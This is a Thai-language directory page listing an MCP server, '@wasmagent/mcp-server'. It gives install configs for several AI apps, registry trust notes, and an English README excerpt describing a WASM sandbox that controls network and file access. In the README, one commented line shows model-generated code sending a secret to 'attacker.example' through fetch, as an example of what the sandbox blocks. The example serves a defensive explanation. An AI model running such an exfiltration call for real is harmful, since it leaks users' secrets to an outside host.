GitHub
server ทางการของ GitHub ให้ AI อ่านและจัดการโค้ด issue และ pull request ในบัญชีของคุณได้ ใช้ผ่านคลาวด์ของ GitHub หรือรันในเครื่องด้วย Docker ก็ได้
คำอธิบายจากผู้ทำ (ภาษาอังกฤษตามต้นฉบับ)
WasmAgent MCP server — WASM-sandboxed code execution with capability manifests and Tasks API.
สามเรื่องนี้ไม่รวมเป็นคะแนนเดียว เพราะความเห็น การวัด และความนิยม เป็นคนละเรื่องกัน
ตัวนี้ยังไม่ได้เรียบเรียงเป็นภาษาไทย ด้านล่างคือข้อเท็จจริงที่เราอ่านจาก registry
เลือกโปรแกรม AI ที่คุณใช้ แล้วคัดลอกค่าตั้งไปวาง
ต้องเตรียมก่อน
คุณใช้แอปไหน
เลือกแอปด้านบน เราจำไว้ให้ ครั้งหน้าปุ่มจะขึ้นว่า “ติดตั้งลง …”
เปิด Claude Desktop → Settings → Developer → Edit Config แล้ววางค่านี้ในไฟล์ claude_desktop_config.json
{
"mcpServers": {
"telleroutlook": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}พิมพ์คำสั่งนี้ใน Terminal
claude mcp add telleroutlook -- npx -y @wasmagent/mcp-serverวางในไฟล์ .cursor/mcp.json ของโปรเจกต์ หรือ ~/.cursor/mcp.json
{
"mcpServers": {
"telleroutlook": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}เบราว์เซอร์จะถามก่อนเปิดแอป จากนั้นแอปแสดงค่าตั้งให้ตรวจแล้วกดยืนยัน ช่อง key เว้นว่างไว้ให้คุณใส่เอง
วางในไฟล์ .vscode/mcp.json ของโปรเจกต์
{
"servers": {
"telleroutlook": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}เบราว์เซอร์จะถามก่อนเปิดแอป จากนั้นแอปแสดงค่าตั้งให้ตรวจแล้วกดยืนยัน ช่อง key เว้นว่างไว้ให้คุณใส่เอง
ตัวนี้รันในเครื่องคุณ แต่ ChatGPT ต่อได้เฉพาะ server บนอินเทอร์เน็ต ลองเลือกแอปอื่น
ตัวเลือกเก็บในคุกกี้บนเครื่องนี้ ไม่ต้องมีบัญชี
ค่าตั้งนี้สร้างจากข้อมูลใน registry ของผู้ทำ ถ้าไม่ตรงกับ README ให้เชื่อ README
รันในเครื่องคุณ รายการเครื่องมือจะขึ้นในแอป AI หลังติดตั้ง
เราตรวจจากข้อมูลที่ใครก็เปิดดูได้ ยังไม่ได้อ่านโค้ด ข้อที่ไม่เกี่ยวกับตัวนี้ไม่นับในตัวหาร · ตรวจเมื่อ 8 พ.ย. 2569
ผู้ลงทะเบียน (telleroutlook) ไม่ใช่เจ้าของ repo (WasmAgent) อาจเป็นคนอื่นที่นำมาลงต่อ
ยังไม่ได้อ่านข้อมูล repo จาก GitHub
ยังไม่ได้อ่านข้อมูล repo จาก GitHub
ตัวนี้รันบนเครื่องคุณ ไม่มี endpoint บนอินเทอร์เน็ต
ตัวนี้รันบนเครื่อง ใช้ค่าที่ตั้งในเครื่องแทน
รันในเครื่องคุณ เราอ่านรายการเครื่องมือได้เฉพาะตัวที่มี endpoint บนอินเทอร์เน็ต
เทียบกับทุก server ที่ยังใช้งานในหมวดนี้ทั้งทะเบียน ดาวนับเฉพาะเมื่อผู้ลงทะเบียนเป็นเจ้าของ repo
จากการตรวจเบื้องต้นของเรา ผ่าน 0 จาก 1 ข้อที่ตรวจได้ เรายังไม่ได้อ่านโค้ด ก่อนใส่กุญแจหรือ token ให้ดูว่า server ขอสิทธิ์อะไร และเลือกกุญแจที่ทำได้เท่าที่จำเป็น
registry ไม่ได้ระบุว่าต้องใช้กุญแจ แต่บางตัวจะขอให้ล็อกอินตอนใช้ครั้งแรก
รันบนเครื่องของคุณ โปรแกรม AI จะเปิด server ขึ้นมาเองเมื่อใช้ ข้อมูลไม่ต้องผ่านเซิร์ฟเวอร์ของผู้ทำ (ยกเว้นตัวที่ไปเรียกบริการออนไลน์ต่อ)
repo บน GitHub มีการแก้โค้ดล่าสุด – และส่งรุ่นล่าสุด (1.1.1) เข้า registry 5 เดือนที่ผ่านมา
โปรแกรมที่รองรับ MCP เช่น Claude Desktop, Claude Code, Cursor และ VS Code ตัวนี้ต้องมี Node.js ในเครื่องด้วย
ในหมวดเดียวกันมี GitHub, Desktop Commander, Cloudflare MCP
server หมวดเดียวกันจากผู้ทำคนอื่น เรียงตามดาว
อ่านการ์ด:↓ ดาวน์โหลดต่อสัปดาห์i★ ดาว GitHubiสามเสา: รีวิว · ผลตรวจ · การใช้งานiอัปเดต = วันที่ส่งรุ่นล่าสุดเข้า registryi
server ทางการของ GitHub ให้ AI อ่านและจัดการโค้ด issue และ pull request ในบัญชีของคุณได้ ใช้ผ่านคลาวด์ของ GitHub หรือรันในเครื่องด้วย Docker ก็ได้
MCP server for terminal commands, file operations, and process management
ส่วนนี้คัดจาก repo ของผู้ทำตามต้นฉบับ PopNx MCP ไม่ได้ตรวจหรือรับรองเนื้อหา ตัด HTML รูปภาพ และสคริปต์ออกแล้ว ลิงก์จะพาออกนอกเว็บ
Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.
Expose any wasmagent agent as a Model Context Protocol (MCP) server.
Part of wasmagent — a TypeScript + WASM agent runtime.
Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:
+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; +import { ToolRegistry } from "@wasmagent/core";
-// Before: host sees every tool directly — 40 tools × schema = huge context cost -server.setRequestHandler(ListToolsRequestSchema, () => ({
-})); +// After: host sees ONLY docs_search + execute_code; model dispatches internally +const tools = new ToolRegistry(); +// tools.register(...) — register your 40 tools here + +await runStdio(createCodeModeServer({
+}));
At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.
npm install /mcp-server /core
The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:
# Zero-config default — code-mode server with VmKernel and no
npx /mcp-server
For a real deployment, write a small Node script and call runStdio() with your own server:
// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio"; import { QuickJSKernel } from "/kernel-quickjs"; import { ToolRegistry } from "/core";
const tools = new ToolRegistry(); // tools.register(...) — your tools here
await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], cpuMs: 5000 }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));
import { createCodeModeServer, createFetchHandler } from "/mcp-server";
const server = createCodeModeServer({ /* … */ }); const handler = createFetchHandler(server); // In a Worker: export default { fetch: handler }
handle()If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().
createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.
CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:
import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; import { ToolRegistry } from "@wasmagent/core";
const tools = new ToolRegistry(); // tools.register(...)
await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], // no outbound network allowedPaths: [], // no filesystem access cpuMs: 5_000, memoryLimitBytes: 64 * 1024 * 1024, }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));
// Model-generated code inside execute_code that tries to exfiltrate data: // fetch("https://attacker.example/exfil?data=secret") // → throws: network access denied — host "attacker.example" not in allowedHosts
The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.
Apache-2.0 — © wasmagent contributors